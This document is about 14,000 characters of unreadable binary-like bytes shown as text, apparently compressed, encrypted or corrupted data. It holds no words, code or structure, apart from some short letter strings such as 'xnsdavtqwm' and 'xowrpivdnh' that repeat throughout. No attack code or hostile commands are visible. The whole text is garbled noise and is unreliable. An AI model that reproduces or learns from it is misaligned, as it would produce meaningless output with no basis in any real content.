:Sфv{W-w(K?aLOxnsdavtqwm/yIj:qla=̃gp]}"AYZ^*]6'?(LUӼnH\Iɦ2نJþRB!j7C`,?9I!NN@Ûxowrpivdnh2xI#pEE+t,gErBW|M6bkpEOc+BC(8gyt|d*wW6J_assvA ~\&x#G+2diE='aDa`mi=]O C`Q'R40Oܠ()kσߣB/,SDBXPxk=[h_`vp눸SY@c൑bxBp7?Xfg2	*RͲJ0x*qAxg5DI+DZ&\ɖNd:޴ 3m4k.EC`xB٪0Kz^3M١0dxsn^Ysr7~mʒѤ}juܮ.&ř~V+
bi~:5!\2mXwvGšjhG3a[-\EtUHRgSZIwEd
kf=Zkxowrpivdnh6!YB76qu	z`ι:8`AߞM ouy9~7D|8sxowrpivdnh8RwO!V̓^$3i mIn[S=(/naQO1FWFJ6xnsdavtqwmsxxnsdavtqwmQ-v3L,_1HN`o\lbmր)Uk[jj̀LQ0EWebHN"ߕ~2ЖE&KE;Go=,R*VW5	Z[	g+AcdE$uGճUg#9b`Ȉ94)薪}BD%KS@xnsdavtqwmfp-k&AaG7A6~FS4JxnsdavtqwmevcTԢP ~m\.rY6[ˏmRwny wЯh
]iu}־~{Xq9K6g7؋ouewCY(W3xnsdavtqwmn1L#Hz6!2X2I蘉u?Qml%Τo ᵅ[}s;Q	 Bvs}3!޷K^8~hd a!jJ,#5Ov-VS^c#?')Bfc'Hx׏Tkc*$+jn	 f)%v}	
,m =z}lTF+1]+xs;B=ʧXF]3UڔuHWU%U·fD.0ܖ(#oxowrpivdnhRN"
_f/~l=k\Ndg+J%kkn]¸Foadfxg}VH_Z
DV
5QuZ 8}J\i(")t-֍wAu]^ǤBVKʳ
͡9wu6,+0}]1^Yioi^U&u/]8 vÐF_Mri4e3=`VM0԰u9	j13W~0PE!cMM~'xnsdavtqwmWGBZTV(wzsfiʗ~IL
iqFӑitKڅ`-v#I
%غHyTPqG"!ϝ27G$;UoM-ww
/-DR&=eɏӼ9:ո-{2]2K;"{7ztfQЏy X{{xnsdavtqwmh̲ǢQ;D
}	zCmН1;Dh7(Dztc GroٻqVa2?{UFOAЫmĬebCxnsdavtqwmɏzT^;r|g|KQ:nٰNa.MJ1|~&Ʃ]rIxowrpivdnhીǫ/c1Xқ笼Pr
2hz0Z_ PZtbF4^
nأsMny;nʦCң:
h-.Bo2(c\'WmB?GYUFjqOyev+6$}[xqxowrpivdnhii(SRgΗ[13.a;q{XԝWh,xowrpivdnhaļ#xлQzE&{b"OҷvumXԇ1]j\ H"tSn~Ğd}nCΝp,a=8;VR#kէפNf0HSFs5HI0Dz0b?	oGL&P4+xnsdavtqwm쮃qQȘRIð9u-4xowrpivdnh~aShQ4ZC(7s?EHݎMx 0TL͋nź}m~w0ν%^TJB|3 ~:0bjF˗]:!%K*6#3'Zit "QɊ9%plc{dAGw̚@ʂLk|Z@!YgڵR^kN7;P1bЀ4D)gJ}	rƸķJ7d-g9_j(CPmۇ}F4nS=P|rg'ݢISL	s{zLJU_#oNg%HXs+B\r=nx,_Z($M/RKV3u$uk^?H|lqk;Z~svcA6WYxnsdavtqwmn2f63|6-Bz_jR^Fge^)pqR0VLІbzOGb,6`wxnsdavtqwm;p#$K1	f4y}i^\i"T@fm
fDu(baSxowrpivdnh g `'v*T~h
H,A;ɍKʻ|uw%ݱ$]]\cSdx4*HR&g葴؝V6W|9i%[
7FT`0[9)=W6#;rxnsdavtqwmb\5G
9trеs#$Nȓ`U
aw%G[#:ms!Wٖ6LN4{zE&}=i#
:N_7W6TrjXyYaDo
ٯXb`~qÛ&W x@q1?ިΩbyr7|-
zZ̆/I3w /f-XO˵uTm'~9"}=@k5ĿWyQSt%q8U^0tGxYbr7y8@'5
"ʢYz?=IGQ6q6Dl3y(2Y:mV\)Q߾qM2hDѡ{v}䞼9?xnsdavtqwm3j箯PaT%\sS8gxowrpivdnh/e#Dqjn_,["Gwd(J2~?Nq%{m[j^MVQD[xowrpivdnhJڈxr;Ts}RGZ߆W=ZV4BB;y= 	DLЙ7Xg"NG-[͵-gZ=yxu-7{sxƐyt
3+ShoOUǍ	'GjYM!2;TQ|q0F+b*A-0wP}	,;]󴙦Y!z1GEohkxowrpivdnh~Ej[
i	eLB3 xnsdavtqwm;?fMnV n,Qz!4Boy{cDl (t^&6ТV=]ǎjeB(dna&Ykf[CrKjo^i~,TO^gۍmAv:Mm8][pFS4U7k!oǠqZe1ɗe1N{	X|MQmxowrpivdnh9PM%T}%/1;0}Ef)CI!v2tMc1恵#xnsdavtqwm#3&6 {nӛphG[IvUShňyFË4/AZ\ģ!S6;7^E`ASbD2jL&уkB|G2)pBQd'b9ؒټ0EOdM2w
Hc]~ۦTGm?+PO)Mf0WKAt5?koUi|H5}u=|⚏?w~=xܻ`Uc~$@¹[X.cpsbPnܦ ؜F3xg&t|Wj=wÄN?KT@nn0|T~h&2k!xowrpivdnh/J9D6ʓ6zp#=a&R2-RzX[ S墉.#+0Dfag.)G plޏ;2J/xnsdavtqwm i}nw`qb9=~U
pxnsdavtqwm7Ҏg=-3rfg6jUk;xnsdavtqwm'2򁣄Yp#QMU##.;\y5{K';V]9$_QVm+/8Kg2Dxowrpivdnh'L$!Fxowrpivdnh~Ojא$uxowrpivdnhh
 JBTlhiNxnsdavtqwmV38iîJKsxowrpivdnh}!! 
tH~*&Ұջͥ_p۩ă&{xnsdavtqwm~YgʸrhaѝS9Q+$U8N!oʫeL41!T"#ݢ$m[;!hՂ-`hN%,]p`Q1^vy;Pٕ㼐B;|o6jdL5sOSojj^yۺ~=`-c?@/C!X=q^(%#r^93p?93+H4DbgSøxowrpivdnhqfL߼ISj6B)FSD.QBT\;xowrpivdnh
V7~_H[oMoI'p/u4j`FNtR0ߌd1鿑x+8|}  obrxowrpivdnh7=xnsdavtqwm{
$oyH
KS G9y&4wDy[=^uN+,&.MyLuzR՝Xxnsdavtqwm#{V,H8^3 oVp)AWCx.c CҼ.
Zt3|)+LxnsdavtqwmMշ1I3.nN\ga#^^Iƾ|N}-
Ez:6j*ߪ%5%y3zu~Rt,?f:kZw#4"-mI4!=H!FBg.錏";Ed^j xnsdavtqwmcM1
MDP\Tc@yc{xY)6l+e2AJg
M@]AY,TK[Ģ;|jxowrpivdnhYNƅ!zwkXgpK?[5v&*;ƽd}юP.6?xowrpivdnh4d{ޅU% &w/i]q!X5\#u)	*r~0=:1Zh$R {OXx]$R*rxnsdavtqwm27L%#r|]i˴52䃏?^jZRqqţ2Ѭ9W+OsyQiea%ǿ+N:Rƙt$b2ˍb
xowrpivdnhɚNR32l_y@Ąc_7mm&_μxowrpivdnhv˓xnsdavtqwm/,G~^*J|ӛю/8xowrpivdnh?ƝVLRC`84zKߛ5v}AdJxowrpivdnhpxnsdavtqwmEi2Vp-v_KpHhbDxowrpivdnhǸi@YYGjÍ50XϨIdH	"p|| ZA$kn[VNiX.iO}pʗ=8O;lͪ(m\WVt9swa9|mGxg\U՘?r$(Ndt)`1)+Wc
D:M
4SYn"\ihAZ[pxowrpivdnhu2
*رEW.،Wo#-+0'ovK˟+de_[&*7B*|![i@bxowrpivdnhHGgJnxowrpivdnhIR
9-wˎ=%gL0{YMkQAGS{`X/F&,?gϒHtٯ׷䙣 Gg5opKl/+u&M8eMЅD0_qZxljSi0MKAmYsJe6ɑ&9y4ӣx\)@W_xnsdavtqwmt@!ێm%(^$`T˩8!kuٵTK088^0of,
6	A\abWg
ʚ֤}dlq|dg޵6U=8-(6He{7ǄBD%k4z[[ .^XAEj 2q+""_&]Y֘P9&|NEdX7Ӥ#/j'dF]BwSJxkBpedY1gEpNJ70]`& {7ZBpVYWF=	8 [P/g*8mpY3%['O[pXhtl=ɡDxnsdavtqwmf^N,NOrI׌/6ϧChczbI%ezgMQnƵ?Mr㓱0CWcC7O^(%WYPxowrpivdnhZ Wh`|5
cy}xowrpivdnh	u]Ķ4)]DYA9Hk6z}uEߧ#,m~ت=u̓ 3EO!oxnsdavtqwm+Zyy8#Ç|-1՚QUZl;)1|h~7p򀰓zx2L% T~wӏE?Nآv1 (K,n줕k(zѭhpZxnsdavtqwmKo#D)uDTi%uWO5(0_#04xowrpivdnhiY1i;f:f4pL}F{Wk}_~1xowrpivdnhdtf1QeWzZ{sƣlꆹ3:ّ){vK?6~L~|#.`dŐ!-|cxnsdavtqwmhVM4{rCJ+]6"dz=#EX}d~BXXJO9`sGRG=[ޫ[2 t-C6عXrf.JfE"3b?:1pY\xowrpivdnhьYes{⥽UHS82%~!|֟̀Р91oHK#|b&u|5i{|-(X6vLߪ/aΩ(s`	qXW.meQt+{}NGsRQqM;I5p	[d.sl9ь:3fE4Txnsdavtqwm?liT6FQɶS*zc~wҪ5C\ïLdЮxs
Vq$Fy1ScfCyHTrxnsdavtqwmEF_4wW=Y"0{QOؐ"EF\
}l1ns?CQqdxowrpivdnhW]dg\",Du0P_3nUu
k!-^X_	_=1mgmX}Wn$P꽃`MLӿZ!~zc%䙸UJY] B"Nb?LEmd Luxowrpivdnh8B4Hi |]c慭:w4ІR-ɗIo:)ۚxowrpivdnheC9'5N*5NV".9\ fDaܸFЇ ~J2!+0rPH}aAaz'Kռ,00Į|/[վ$i3|Wi7Hk2M
@=qӞcݶӄЪrESakN9.xnsdavtqwm+OyDMq#ׂ:a!BBxYg]Pg,L-&tҹxBO?xF NRh&4U/B~ܚjh
]ћ嵇iT(~xowrpivdnhSMuNlǸԔnB=^x0@7UM-Q?sx0"Ir~үM][/(^l6EdeOxnsdavtqwmINSS~)^?-F?Kz^GmĵL83}4]Dg!ȻyS{n1Pi.5Iz5Ig$ ]B糸
+zGʡ?]eꇓF`񵀺.뻟Z6zE'%SovޟipZ,m`0ޑq&Ŭټ]"%ٖx1r(xowrpivdnh\IͬqPw%h7zcG:~8Fa곤!	nSCDIwگV10fCɂPOr&[яfjT8cE=ߙ7vS'..Ojq~À	U3Qm^	(^hb8A.ʮnĖih嗞SAv0xnsdavtqwmcFؓxowrpivdnhADWLSxnsdavtqwmW32bX5Ĩ1'{D,3xowrpivdnh$J:sL:SH-"xnsdavtqwmwpaTBpxnsdavtqwm:."Vֽa?6~Rg!%AKQ_?pfxowrpivdnh"À477PS6 8DP|RU8(Wҋ7{p^Xxnsdavtqwmhn[8*ewЮ[*MgI:v׼+6AlGX
2xe? w=3zE|8rfkB͋@ٿUֲo/D8Z#^}r:%B	:[B"xnsdavtqwmLt6C[yy&N뇅76oډܔXޅ@Ŕ,6 (s+˻. .;0/rnY*fG?v8X}WB|B+EݰUSN$ cz$b$|:
zZ)0UU;v; _WHwo@O}niazO^9dozƵ˜[OJى8!T,)42ձ7h͖؟wu{ Tið#-!!AyAmB=z0|.2s7?̵̳/F/
0b馄UǛ-{xowrpivdnh9p&p;%Xe/}tg}8B])X^e[ϯ$Vin!Jyfpb4gz76J5TnY/3-n|x686I8~Hz
#}{.V%mھ$:h{ӂƫt?R.. f%|JLUy*U5EV:[8]aH:7s2Աw^[ɾƟپ"E3ih[akcy)v G&htbL1aVud(iD/詞}pYe1¦B"|c8ZR!tE7a;qVLVz2qW7;k%su1'똯yTN5 xnsdavtqwm08lkib*F(&*N|k7xD #1|xowrpivdnh*	'֨8=[R
`Ԗ*+?^c߈ b
PٻVν5'ESori
^%h4"r$P!bRc1a8pݨVyp$ƿ}¨txnsdavtqwm7=A3
k&
 ,!$p#۩yjs&Rx4ہ$UBG^7䄚Oh'z\7MDl4 oDiżㇴLdb͢B˷,ђxfxH.t̖L6#w`:YT(=@K=V	DݍDhr}y [eRADqhx*.ޖX}Ů- @^6'ZQhh836=7{h:GqUxo%㾮mSrƨ+z5	NYgaU"ߴ!3NF*~[&sl'@bQ=YSt^EO7ھxowrpivdnhUEhuxnsdavtqwmWBspEe];lZƅMpxnsdavtqwm
i
9]r$^xnsdavtqwmǥN4Զn﫮&(y	[xnsdavtqwmnh%Wy+W|PjdSM2.xnsdavtqwmüpԎx˜%C;F,7/F{][&40N9Α9j!!,:^S]=x\k
g+?).%Wؤҍ'DG	~FHPb'6 i(A[F3Hņ2So5?.V
 D~dTO&7G8ef+$e 8	0QNr&eKxoқkkaqe/맓%KAg~(
ݘWSMu]SnAi6[B@nSeX qF4ʗ[iMxowrpivdnh0Wٌoy٧ +l	[%J7(&mƃ@P;9Y^~.:w`Nj9/';XGwv0o{0:?JY|@IOև8ZtήЖO`5.M_Z/Ѱgֽ@7%qmBc/0ho]I:5}fRDGFf7F[}}yo!
uAQQ,놐C,zA@8v@/S ,p]}ˤo\nwGye*ctP6޼hM,7,#kJ&xowrpivdnh=e(UU6-l$gS!UswnxXkxowrpivdnh1E\GYRK~E:MI&`	flݚ"4?o
;QW
lq(]˛lVVBL@u߰ 7  b%=iK}
3;wYgx҈9RF_ bhH&mSH~P
6c_I _68~AMW]## ܓocMO6yHg`	Z!M.=ThkK{Ep)9){#G.\l+aDhN\=%+B?R0jMXrJHUy@?xnsdavtqwm=@HrHaєo˒C\DaS*đ`l[&N(EHuM]ȴyѺ`dk}E]@)i,VUm@.]}@v|ʹ^Oc4gXV? V \v.
!D_MDl2ΕkX	UzP9ΩZ91)^`捀ȧrc¶:Z%}^V"D\_l @90VWܳξuVa&8bs-(꣼G;H{]_P#U
~ `,|	܇:S)ھ-@*KXL&yC_Ȳg űH6W9rtbE ײ^kmZ=2Yٷ"[H+[Lm$
\
QrG~6-6bvnqgpJϺLΑ}M &FxowrpivdnhN&i/s+-@½WXRs8[G9 aės"y֜xnsdavtqwmn(⦘)=)X훟@"!@tv4@Kn\1+x(rFxKjG0/#
ccؔw(n'eIrL%Q(HJ ?j}e*Pi0,}(r8N}\Hķ~xnsdavtqwm84L$֧W# vՓT#S睳Lxnsdavtqwmk)5!UvglMvA5jW:Db=O  Q+/b}!!љQ7SGBuo~e3{uՎiUwO^27r^O3pqJ7 ]^M顅*{î"܉{Ove
U&)#Bxnsdavtqwmn;x[ '("LiH0Iwxxy	iagCL,lo1cvp_юy
C*tNTw`^ y	2-Cio 9
F
	xowrpivdnh2
ȁY%E/j*y?|"|±mMEG&

!~x%kjj9|!\E

0Yh``{!avO͆@@yk&,vK\orS燣'Q&t@ߥƬޠ*^-@Z2gKUwDidS!jE4t_X{(UAmSC78Mf
 ئ
*uN&8ʺԲ
3~+e@Cͥ;
|Z*x^30Y;Ǚ6t	RTLJTQK;PP=xowrpivdnhS'QW!T(wxnsdavtqwmO"Tj dAi =sׂ	Wu

ga?oGx8xowrpivdnhFH	[J"XBf	E[Q5I(.j$&K,xz`]epo(b!ڥH8'بvdP3g_`:xowrpivdnh@|4)N9n&+AG"8 Ҡ1?z&!P
4mFfyYI)}깐ZUafR'R/hv3XW-3E5l
NAU	Yb.7Ҫ	lDrb3Y!sxowrpivdnhpeVFQe}/~I@?.x1|9K[^0rЅ,a7eX
gjzYNpT$xnsdavtqwmbT[ț;]P໰PXi.{tIp;:)#rxowrpivdnhtZNkO|a0l#Vn1ϯ
$ w[a#d4}nR!an)rqF^ k*lu6ODxor6u̳tZqazBp_hgɞ} ;a߾в`,"-یKZ=xowrpivdnhH?/RuX~3$l_4~xnsdavtqwmv3n}~`խGF~d#h)5~qu7$V)llp0Ov2
MYrX'PKX^}Q]8~.\FOqov[K| V%o!񃀶.@8o?5;\Lf^0I!xnsdavtqwm¾zc5g!LHxowrpivdnh4cZ띬B@dY\Ga.UwےA~m?STazih0)Xxowrpivdnh/&/Fغ?{AxnsdavtqwmVF[Q_wO"ZgEՕ\AZU_@$\:;ьzjK:\'URiMgqxowrpivdnh0
pEʩ1.~9ֵ%A`69lG2I	eխx[p}FxI8nߩ둌8F`t+y`[hP35W-pDZjp/wcJa2n@2T4m22 dffKs=:,,m6CNj1R-Jp;5ekqC:^Jc OUxaIԔR=穤α
wxNCYH}8`ƺ-4|vm:m~dDrSL
R	xnsdavtqwmQo"3adEޤ)+iJ9OY;Oi%c4su00'*I'F
m3kS[;gNגEs%~!ӛ߈ߤob-+%{Ic[̶!߼ȴߘVS6F~?/W,ɷ#1yl
ОӘ!*C6
МK`\M}4v&xowrpivdnhxUa45wk'Z"]	xUϕ15F䠐OwInz +77@1ɒ 3+ hubtL 59wz'`eutPIS~Qa.aSB0R`1P'(ny ta
{-AVw1|*/[BnXa׼,/[tE9k+]JXeOm?gqg$"wEEآ?)iQq7s9⢔9!_";Vo.$"}\xoFtˏ75lts0|5iu%_]
w0'x%ptkbao1+ B%|X,f1x w-)hjrVۓ*xg6}ì)SPd-Ɇ;3pR-kx՛RGXã0dM֨ydx9)b{TH4;̯~gޭ&L4f^&)
w[nIxƽ%M%$Y Xbٝ6qTXBZ?xowrpivdnh},qW 8FJ4X
wݶ
ߜu^ư:5o\|;1ɯ扣wyxowrpivdnh5X@$) xowrpivdnh6wxw`ttT/dg'0q!t];  G0$E1 *-L^Oi8\1SFxowrpivdnh)
oK^`e2-K	:l9b';
Ey* _DHխ?	i`.'\w=v|bylS{ۑȿJwKNו.'kY;$s7TQv'X?\9~Q((VB8e&ٸ`a8kc*Tpj֜Pp|D٢HVR*f|前uWM|@aݪ{Y켱ĉ%;#jF`M	/8r,}
* vGh'!/9kγ]W( Ĩ]ٺ|) iC0ʰrU (#Y}Rv$NKz3j__A2jˊqjק[="v%9{DUxnsdavtqwmQ63\*̇+J5Hb'Wh;^vnڏ82wOpVeOG/5ų(Z*qK]0'',˿no\r!B uO455~aUJDfRU6v;"?8R:jNM"hKFyl1z#Yi JҀ4rjer!Gi+|]ˇzu2J+MWZq@u38ŅH߳v0~-Mxݏ0?gR.cqZșC+7JBC.kI5ty#g3x-]J^ I]]w@'UxxvP@o03Vo~$/H۱OrJ
l :&p׭̱m_x*̰B+8Cөxnsdavtqwm)ޙ׺04x$V3E.M'tn?+wq;ozG[
NI\?NZ7av/Aff̵{83t uGxnsdavtqwm{%|vW`bg}SE,qbG=!ރ}b#Wt UT
A/,ş5ernCgf%ޡx@xowrpivdnh\B+)wJ[/a\͎odyvT(qPHp}QF?8YuQ)-rؤcl󟠈"銒:rѼѠ2z鑀ausIN*r
w%Tۂ]7
\;?n =*XhAJ/=-+}5GhImEUJrGVSg4 o^ot[!⃥\^e?EpQ^vv#~e|kc1T.b	x@Pk$uΟxnsdavtqwmdLsvc;mh(s/F A}3Q%	Z3H({q
ZZ+&NMj݈AZuxowrpivdnh	T7⷇דle,Mڙ	~kfC1 :|Fd`?o.xm^]Kۼڋ]JҏrA)N	-
{vhݐnd~ZhaI+B,wΦ,!4%EåI,=3Zxnsdavtqwm55jBgGip5*|Fw,/=Z@[XsOaWw̄YkU\R7"lkR7JSxowrpivdnhΨ׿5f;.=xowrpivdnh/ѧٷnN|jr#7DFV:xsJO( ׯHZ*Ӟ㗩~*s^u p!IY=%JQ-N& wJ3aନހz²%BO(xowrpivdnh@QHFpZS.Y/_q|ܗN!٩Eݍ^XsBd墘'ӏNml.=(94
}j,cd
-q|GIx	#O?,d/}}PUR|?}Gا*V#W	cغt\ F).xowrpivdnhbcLMxowrpivdnhn	rtpPp]pX³ˣݫ/`lkb^6 R1xpuxowrpivdnh/ќxowrpivdnh?"Hi\tzR
oB/vnl+g2
	E\Y̢f&-z:s00$L~Ǽ{Hc-%T!iX+ɗoO.5hXtL2~	p7H?)@Ì&nga/ T&k)8t.9Mȡch}ԟJrmC~GR{+~zJ#RQeJPI9uaq- OJI~
?~!ߠ?~Ns]cT0n^^j
$ 	}^"2c]9^TǂJw"777GQxowrpivdnh
Ek zET3#Z.ga
}a錞h2H l78@׃w[CsAVWMχmҒR#ׯfrw̓uem;+䇁ԨIݼy\uDWt7Lj\aA(Y1B%M}?1f@S~ۏIOS墷e[s'/\SYVtd^vVHbx1 xnsdavtqwm=k(i4#-nsMڧzw㤇)хnZ`$~e  /u_dIyE]rp1HpK^3xowrpivdnhu)`pxnsdavtqwm}ZRCOㆪD)|Efr}oxowrpivdnhϔ5F挿S 1oIcMQP簢юnH.K}e{#]xnsdavtqwm
k4MީTx1cıxowrpivdnh-4L胶h#2.aubXu2ʕ
ZLwpBaچQx^wxowrpivdnh%6绥Kݤ
ha	AoDw}~VVe:l9h"d#Gp~YjoFp+ը 	nжN)slW\P˩Cy3
B)LqƝ?{'Ƌc+%!bkK1B)oT mA@߄G7EuMRôǬa;h1Zmylm)˦
!?GCqY*7xn][2zۡxnsdavtqwmς}q1c5CAJ]8!j]ӓ諒B,}:.\}C!K«m{OHrk)i`{NOh&y	t/$;bnDPJD/!1a6iIu9~h'_$`y_6iP9EŤ8"tVsQ;j6՛5mxnsdavtqwmZh&RT"A8de0ʑo	?=D?x6;[ޥR,̲hU[@2l7MIk5yxnsdavtqwm-UG	&f~zvxowrpivdnhה'%WNhkW!۰Ht$5Vo֞@8/?[.}źDmmՃw՝c'	2#JtԪ-L8(H IE{	%AðyU\cW{_
ki%|Ul?;e8hi|[#1QR3
xnsdavtqwmH0_.{\wn3,
5xowrpivdnhhjcvE=D/;Yz$=&}caiXBl.Bh2lDvșz 3TLn3xowrpivdnh)
Nʎ-(n#~R*]ey,य़~))O	)ش̚UHhM\r@R~uaboxnsdavtqwmQ	+4C\Ft-\Q4-藥I}m6hjz;`U{?:Q{9@Q-8?xҲxowrpivdnhӁNA+$&'t"`81[j$  ]XBh"xnsdavtqwmR==G\MredB
lmN
+Y)ے~pocLS`g?Cw))S+g!/`Pf3+u
-xJO¡t.%ws (E;_l06ٝL,N%V0x+f&RF_sqv\z4R][A"~tEL?kB=HF27E-DUpf):9/7gjd0Pǭ_qL1R5dzoWsmak;'-IxnsdavtqwmuLb[|ɞh[DnOD~}rv8ez gs` *O&fn4#r	káZ"Zw3&W-k`x0z~ZZ9ـo~;&9TO\vo9 m|Cx4mȜRq)
6tʷlqc:B9oxnsdavtqwmRrɍ
;G=ASosT?/;Dfyuձ:[R!Y}cQv*B5|I-e ]lb,$=)ЊҶ:}Ņ{bz~xnsdavtqwmH:ΗTI2K8׏-JB7յa mxowrpivdnh X^v\]|8Br6nslgEՏw_κ0v%]j_KY;~s;fP4IKAQMZ
G80et%p0晿෭JH7E/숄6N]Fz[rv0y@b*8J۳+1DC0ޤ-
ݡD\Āz8]
`)wV[9u&wdh$_i=To9}k]s3geܑ;.OGZ5R~jB^m1dZf̼h0|܀V-^?'G5}NH~xnsdavtqwm-c[l
I%k܌uzOKU}B	V󘬒D=Ѕ\lxnsdavtqwm4:%* tk
FR@(6{Ö_p__ ^꿸RI=|o
ϟ"4J-.8`#3!P|Rj a9eA
6|\[He#O(&}{Y{je'R;i0rXILY({-tM@tsm$YxV; ye]zp~ ջѯMfc+{udJm%Nn3C_P3꣄[K],q1*[
~H'xnsdavtqwmC
VHњ:Fl¬K8qU}:dQzweBs蜭OB:y7
D/:47C`0죯[9'1]
:/	6"D$^kVxs{i"sL։|7ZOv0DILw2q::/k@]xowrpivdnhTz{#E˾P¢3J-Yi'b
2@zeEhjHp7xC&nd,vlI0Z03z,I#G䮎p_%.%6|XPL:
bl].n)_Ј2U+%'pa]teP_y(H ;ߟURc
*['q:7}JNzƗ{jC2Xa
xowrpivdnhaӔyMsGKf`#g
Yrb\cxnsdavtqwm,+\m\	iW32cFq=$^R)?|scyE.s)cDEM[PhQ1UQq!1EҲQMc=-\G-, wGE0
|b jF;:$Dy/{4 23"DV4tY?1HxowrpivdnheN Jz!WEnBxowrpivdnhg-Tn:%'u_pR4ya-Ӽ̃}7ƩCmo)// Z_
_VqUʡ᳗r^3@"Wy_ErφT1׿̘!dn2|0"9!aT2C+;?`ډsY݁!9q
0fdsL4uxnsdavtqwm^W%U|~ s Z[?=Iws8ڕ;pVةiaB/% ʼ\Ưq"?;MB~嗚ܓ:bBdX/PRi݊9
^;5J呸Ǩ*bgbŞ$gϣ Z@e~K&zNն
Yxnsdavtqwm΍xowrpivdnh,dν}B%ݡz0j!C+ 2-Lپt-nyrxnߨE~jVKWAEisﱆ%ZtS)IY7zM]Ǵ|摕F^b/j^|kf_uW@e+""JPF/`6xnsdavtqwm4E7l`ae
W*cv6ϹfaO\7+sEx
ºF&!!Bsϕ.+	eZ%[V'Tm(hlL+#_dopeK'3bMT15%K^o/o޳oB#ߗGuuR}kY9")Q3oNT[-INV4. ZKy]˛MI=c~Dk).8w`KCg7
yX5T[.mp*vV2Sxnsdavtqwmgxnsdavtqwm_y,nlvZ+6Pc_ՄQVQx+vbcr`xnsdavtqwm4;@5r{17R53i^wޚ/]Vxnsdavtqwm3xnYf:Gxnsdavtqwm
[1|[,A:_ɫ++֡*JĽR_wQ`z	5N|`4{&v6D/Yb];;*Jsʮi?G㕐H;&1Ƴ"DZ
o{0;gK"d5Lf=cV8jn~?(z!DK%ɺ@0򦔳פֿpB}(f5b;O]U崛7)~|7U.Rbܖ7UE
)N9jHZiF@`Æp)8
KC蹯w2hY*[;/h,,3f)/Hrڈ
{`/s]NmRQrl
`D@K^]yrz6f	 yT6H"Wb!31df#g5+ȵ0Zxowrpivdnh@ڑxowrpivdnh^
dQ gDk	|
[AIxowrpivdnhwxowrpivdnh;C\z)邢Ӊ'U7V^e{y%.ƜϦK2O*;~R5j` n8bxB\xnsdavtqwm[o9.J$HY~ɑ8ێ1`{21_T$ tJ3'7Y5(@yI#aI,W. ?߉ βHKxKڸp~caۆ.Vltk0u8)/Qy^ʃ+ΊaU_(Mȶ:	cߛIGuZy+q`t'}4S, Q^QCXqqlw32xnsdavtqwm\sMJW}\4=Ψ"V֏sү '_Fs~Cf
#$a=@IIL|ɹPHtdtDqI])~1fU/4!Qke6t66i&	&(*&z=G	0ظEAQn̿Su4we"WPO7&p6!f6t!k_tĉHgmXa8\gu\CJ_e3i-G%(8=嫈@#
Yl;)˛1مb3]mW,f|7Z,jexowrpivdnhW#Nί5#?;\A\"Dgl~*A0MLɳyVGIʎ!yxowrpivdnhYP
kKz̞xowrpivdnh  EyrSu;{g(C73݄/'r&`|)KbIxnsdavtqwm3[SSQ?e_{Z^Fi''Z7
H$W+H?;;.ھ&R1y&E~}:y5]Ǖ[}ъ9]&	,`'M0M0ydJpE#2W7TCjkd@"y ~/ǔ/(9zBaxnsdavtqwmxM-|޺U൅CE+*o
. sSͮL"cQA!MBm C{qxowrpivdnhLMi 1CdUP:a
f7uX2"Fwd};rQ%T8ڥe[{Axowrpivdnhz|dMZd6@boeɹFӂK5/kxj9ݨ0i/xowrpivdnh)B s#m(ί8$HxnsdavtqwmWxnsdavtqwmF9ʾ4ʶ׋
.(E, rQR{z6Dmj4d4{
Lacw,iA3CёNN~JϾ5s[nn~Z6/Kip}FdW{PZ+,('xnsdavtqwmoeS3U0ސkt ֑ˠ[ܟ(	۟I0L i}Ӛ4w{:(~NĐE
`JlS+0ܖٙ7a:_z82..)0k |y
1ΨX,TI[8؍) ;礞Ͳ=[۸]j(\r%ܲ踙Iߟq\ب.=jЁe9c]՝(q+i^Df&h!B%B$@c ]ԆmdL,E5x6dx4/z|-(tєT]+f|r 4YP Ϧ;&pCu#A:g֖ːZaA&KA^)0rڃdsT/;51/z0}.g$+.;:z]9l
 P}6?xowrpivdnh̃Q4y1%Oho7{xGֆB\\R~ѩbq?G4 zdvlώ
dξBXL[Lcpfls'~-˥X-/**N[0QPibff08y* 1I*/h?)-K'LD*7^MJyߩl7h3(M\9}銃Z]ZlVB^}ۋ}I`@oQPW@W
݈NˑW~P Wi,ozr[Sm}ܧKLQ|,nml}HеV$z]x1}|~~}Ow.0YnVWA2%,!v6$tx+$~)3vBɘ- Exnsdavtqwmym4R	co0Q~K?:wئfR#1u.a딑n#i?ځt08ɖxHb$xЛzð+_ ȡ|He'}3W1nZpU'aqBqxnsdavtqwmGZ nirjOmYlrI#S.O!{?^;8Axowrpivdnh,r5Wm2{m7ïo2:P=}bS?9z2!U@ (uȿ=$LQYk܋}QC,m沆FXQylnWPs
TZxl嬏͏{(Rxowrpivdnh:ɔnb{.YV75|D~=_X}&Ƕ':cOhNYPj`/cK٣//tvKS+h2.
[o9ol ",Rg;teExowrpivdnh[zE=2*'@Z(.N$?lռttAxIz'$߈$Drcc"mփ
d乚"3eO2nK8^?)ٳ	D\9EkmŇ(O~_|
CyL&_CUt)	g;%A^	mhVR
~h^|뭽@i옼=oO޶M:ԱؔrS	r"m)Cf
G/]-=[	ᵋ",
q"xowrpivdnhM$	,f*Wb|^ȫ4w
%GXE"	Z
M/_y#
~Uy)=&hv'҂Q~ӁV{1J	D,㜁Pޓ-ƥJ@Xfsꔀs$t:F(]J(xowrpivdnhg!2v}[lKJ-?\keͪcYs	mSU4RڣZW*Z'I*S\ۯBaU2A#J="mqsea3v廦nzcDheE3g0Xs DMPeF'7ke[DGE~ڦom0xowrpivdnhУUkXJtP
QQNdZy$h~hTߠ[tr	/Nˏdb߀}Lvy}hH˷I-h4t/OpM([ +@K2QSId	!?p' j&׆~\ a!\B~k '\5`LҞ,7 pFGQQFё垨?ƌ!7y\-e*
.Nb0#p]bۘby65EZ+DyϮrζG(t\.iy
4^X!ҊzNwr	} TXO央YKl
LA;`0I
-c0*w	rMiwqy4xowrpivdnh46s}ZCk(JRmFʥ*,cԷnLg65+1g۩^_8M?wxK8AP?
p#Zf)0EtP+t{)4(
k]VnZ~"@`N=T	[*O JY9{xnsdavtqwmީ9gJ	\BY]4%0-a=xnsdavtqwm)o"|~	U 7v5tSf{=#F}o!h3:He-P}"n_PZ=mg+B&7nSpq37mʘ/jcZ-ZāYJlfȟrE/=0]\
 1)	N\zr$,`T-יfQ#PM˝t#ݼqJLH$a8G^S hxowrpivdnhxowrpivdnhUBE
7[4lA;oqĝ'F=D:r$xnsdavtqwm[UljI~k4I@	ڔ7k&#z:$|W06_oÉE"XR[SXS%PaH	@	A76$«4.{\~(A`7"3&LsF
cvpT8hp&cGv^o4L,ݐbS#EVe^yxowrpivdnhO 	dzDG
